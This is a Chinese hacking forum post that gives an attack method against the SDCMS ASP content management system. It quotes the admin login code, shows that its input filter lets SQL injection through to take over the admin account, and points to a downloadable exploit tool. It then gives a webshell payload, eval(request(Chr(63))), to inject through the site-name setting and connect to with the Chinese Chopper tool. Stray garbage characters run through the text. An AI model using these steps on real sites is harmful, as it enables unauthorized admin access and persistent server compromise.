作者:T00LS 鬼哥& l& B, B7 }2 K. `' a
漏洞文件:后台目录/index.asp
5 ~- u3 ~. l' J. D
8 ~2 K/ H6 D$ D" |( N5 TSub Check5 F+ L: K+ t8 P! @$ ?. l% X
Dim username,password,code,getcode,Rs; Q! W, G/ `1 t/ x7 m
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub, s# t) ]2 ^. [- v
username=FilterText(Trim(Request.Form("username")),1)
7 G. {. s$ ]* S password=FilterText(Trim(Request.Form("password")),1)9 ~0 E! J8 C- g9 T
code=Trim(Request.Form("yzm"))6 S& M: A* I }# Q& y0 K) d
getcode=Session("SDCMSCode")* R) s3 P. N) w( m5 v1 G
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died9 X# v' A8 Q0 P6 Z% N1 ?) E7 d9 W" Q* M# z
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied$ C# Y3 W. P: T3 k
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied! Q- |0 `8 A# t/ c5 N J7 X
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
6 ?: H9 J* J6 a6 i0 n4 j* ^, |* i. b IF username="" or password="" Then
3 E) i% [6 O, G3 X+ g Echo "用户名或密码不能为空" ied. i% c1 z$ b2 U' N( \" @* W4 c1 Z
Else, V3 p$ [: u' `5 H$ I' U3 [1 m
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
4 `; T W8 u6 h3 |0 b IF Rs.Eof Then
& h5 ?, O, t4 T" a' o9 J( e6 S AddLog username,GetIp,"登录失败",1: |" P1 n/ Y. j$ x. t2 I
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"( u( l. E- ]4 i9 m) |$ v
Else2 O: w4 M4 Q% q( c6 ~7 L3 ~
Add_Cookies "sdcms_id",Rs(0)- n% \+ ?; H5 p. a7 S1 f
Add_Cookies "sdcms_name",username* ?$ a- h- @" y
Add_Cookies "sdcms_pwd",Rs(2)
# y( P: I" a! s Add_Cookies "sdcms_admin",Rs(3)6 m! w# ?, l6 ~
Add_Cookies "sdcms_alllever",Rs(4)7 { N4 G+ t+ {/ Z7 V
Add_Cookies "sdcms_infolever",Rs(5)
* |; ^8 @4 B; J Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")! U/ G P d; [9 S, J& |
AddLog username,GetIp,"登录成功",1
( k$ E3 m- e! }4 ~) C! b '自动删除30天前的Log记录1 Z/ ~( R0 k: S: M/ ]+ T
IF Sdcms_DataType Then
9 T# N: X# k5 K1 {1 d Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
% D7 v9 q1 }/ a" F& v4 P- |. k Else& y8 }& Z/ O2 x* i7 @
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")/ i Y6 \( x$ }( |( \8 P; D$ V
End IF
7 ~( y' K' S( r ^% I$ C Go("sdcms_index.asp")
w3 C. e& `8 Y8 A; }/ ` End IF
1 j% O- R d! [1 Q! h3 y: } Rs.Close
) n% I, B& g) @7 `# K) _ Set Rs=Nothing
8 z% D c% K I& Z9 h9 w/ X End IF* B: S7 U A8 P+ n) r
End Sub
: N: o% E* ~8 W
0 |1 H0 E# Y) b/ [6 e6 y q9 E’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码5 L c+ W" ~) g5 A9 q
! Y# M7 s% M( i2 nFunction FilterText(ByVal t0,ByVal t1) e4 q% S o% J: v1 B z
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
: L+ W9 t U- c5 ^ t0=Trim(t0)# ]* k, l% u4 ~9 z8 B
Select Case t13 ]- E2 E) w J4 \8 m
Case "1"
% F8 d+ l( Z3 y2 e t0=Replace(t0,Chr(32),"")
9 H5 f% G) ~5 a3 j6 i6 C t0=Replace(t0,Chr(13),"")
9 T! W5 F$ p7 p. H v/ Q- _# S t0=Replace(t0,Chr(10)&Chr(10),"")
, I9 N& \6 a1 n4 e3 q- R t0=Replace(t0,Chr(10),"")
8 q# W. J" X" A Case "2"
! G. O2 {: }. R: N* D% \! k1 h t0=Replace(t0,Chr(8),"")'回格
( R8 `9 @0 o( ?- v t0=Replace(t0,Chr(9),"")'tab(水平制表符)
. ~4 ^8 Z5 g+ l! q7 V* C, R8 r t0=Replace(t0,Chr(10),"")'换行. y' h0 |5 u$ y& ]8 A7 Y
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)- [# w* ?; t$ w ?# s
t0=Replace(t0,Chr(12),"")'换页" O1 V8 ~* l1 R( G
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合$ |3 i/ n0 M9 A8 q
t0=Replace(t0,Chr(22),"")
4 d9 M4 o6 N- R" z7 }6 o" _ t0=Replace(t0,Chr(32),"")'空格 SPACE: r6 J% H0 w( y
t0=Replace(t0,Chr(33),"")'!. h9 H9 C: v4 V/ o( ~+ V
t0=Replace(t0,Chr(34),"")'"8 Q# E- A* J: A2 h* Z# S( B0 j
t0=Replace(t0,Chr(35),"")'#) N* T% l8 ^( G% K1 F. g- q X
t0=Replace(t0,Chr(36),"")'$ W6 @, T* x& l6 t4 a3 ?
t0=Replace(t0,Chr(37),"")'%
$ Q" n9 `, j- k2 W; ^ t0=Replace(t0,Chr(38),"")'&
+ a- M9 j% {' J t0=Replace(t0,Chr(39),"")''
5 }* q$ j- N6 z5 e" P$ {) n t0=Replace(t0,Chr(40),"")'(- P q# [& R8 \6 ~3 Z
t0=Replace(t0,Chr(41),"")')
{. B$ m4 U. i! `% R3 o" b t0=Replace(t0,Chr(42),"")'*
. Y5 Y0 @ B. @. h1 r8 B# Q t0=Replace(t0,Chr(43),"")'+
) R9 _/ M7 S3 A t0=Replace(t0,Chr(44),"")',
: B# s: d4 x0 r0 v! y4 _1 L% } t0=Replace(t0,Chr(45),"")'- \2 J: |; C/ [/ M. A
t0=Replace(t0,Chr(46),"")'." B% q1 t/ X: f& Z. p
t0=Replace(t0,Chr(47),"")'/
! i5 U! V6 {+ B- d" C. ^ t0=Replace(t0,Chr(58),"")':
: D0 b5 h3 B4 x, d- p t0=Replace(t0,Chr(59),"")';
- S; {* W4 E# a5 T, y! K" C t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
) ~* J. P' K* {/ l t0=Replace(t0,Chr(63),"")'?
P- V8 U( i- l$ }5 m t0=Replace(t0,Chr(64),"")'@. h# m; x% P6 H4 E- D
t0=Replace(t0,Chr(91),"")'\
4 N4 M. t2 f- Y3 I7 `$ `- I t0=Replace(t0,Chr(92),"")'\
2 }& J8 Y' A6 }9 S1 O3 B( h t0=Replace(t0,Chr(93),"")']7 g5 J$ h* Z7 s# q' m6 f! \
t0=Replace(t0,Chr(94),"")'^
3 Q0 X6 ~" s( {) q t0=Replace(t0,Chr(95),"")'_+ b8 v. p: c& [; z
t0=Replace(t0,Chr(96),"")'`
7 L4 m2 w0 p2 M t0=Replace(t0,Chr(123),"")'{
) v O( p; E; m t0=Replace(t0,Chr(124),"")'|2 Q# h& q0 S4 s% B5 M
t0=Replace(t0,Chr(125),"")'}
& S3 U9 @- f( m- K4 K$ H t0=Replace(t0,Chr(126),"")'~
" S# X+ r' R+ ` Case Else: c# M) R0 P6 r# M6 W( O
t0=Replace(t0, "&", "&")
& x" t$ X8 w1 r4 ]- _( P t0=Replace(t0, "'", "'"), y! s7 g" p/ c) o6 A! i$ w& \% Y
t0=Replace(t0, """", """)
( p- h9 i9 X; T( ?7 y9 ` t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
! ], P/ k' c9 B' l& \ End Select- L2 S: d, j: ^ o2 X
IF Instr(Lcase(t0),"expression")>0 Then! B( `, _9 K' }7 E0 O$ A
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)2 j$ z$ e; H; l$ g; {( o
End If
; C- O% y7 A) w4 E+ k FilterText=t0; w+ b6 w* s! b% u/ s! s
End Function; x+ r4 X9 n* _
/ F' _% o' S& O7 B8 A看到没。直接参数是1 只过滤; R" |; [% f+ V) S9 X$ w+ @
t0=Replace(t0,Chr(32)," ")
/ c: @6 Z6 U3 W: O2 K5 K t0=Replace(t0,Chr(13),"")& ^1 I0 O* T) O1 q' S
t0=Replace(t0,Chr(10)&Chr(10),"9 D3 s$ x1 [2 s
"): ^/ g7 C* J3 _
t0=Replace(t0,Chr(10),"$ _! S2 F( g U. M6 B& M
")
! m7 ^4 H7 `$ N. z0 A- @5 t漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!* d% f9 ]: x; _" Z' H
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP$ q! n/ J9 d7 g( N [0 j2 i: L0 V
+ Q: \* e3 F% S/ u4 T0 v3 k& M
测试:
, d3 T( M$ ]1 g
) b$ Q. u3 X) W1 A
! W0 y c+ q0 }1 a/ M现在输入工具上验证码,然后点OK
) G3 L5 z# j0 p6 f \6 A+ ^6 B
& l6 H/ f1 y$ {5 l% I: [% H+ N' w6 e/ A" J8 c
看到我们直接进入后台管理界面了,呵呵!
# U5 o/ L, @8 C% Z+ a9 ]5 }3 s6 R- [' u. y# I
" g, r5 G- t1 Z- g6 Q5 e! d0 X2 A% |" t) W$ K0 Y8 h
这样直接进入后台了。。。。/ [5 ^2 ^+ \* N4 j, j6 ~8 e
! O2 b j* B8 ~$ S2 n6 Z1 C% D
: L5 q6 n+ j/ B& Q' m
$ C- T( @0 g4 v1 [8 v
SDCMS提权:
6 ^) W3 a" u# S4 V, F9 N4 _* n+ p
* O2 w$ R; A% l; ?: M方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?0 {1 v5 w( ^. _; J. a
2 B ~5 O `! |! p B
8 Z( ]3 F4 ?8 L; {# |0 a9 j
: @, ^1 E4 K& D- E$ v+ DOK,现在用菜刀连接下!3 v2 h6 _" C/ `) |9 e
5 b7 t/ D/ `9 p8 o4 \4 t. W: k8 J. {/ b' M! q5 D( P, G6 U
+ I5 }4 X- h$ }; \
& I7 G" {6 F. B- b
3 C' Q8 l% E: Y0 K0 T |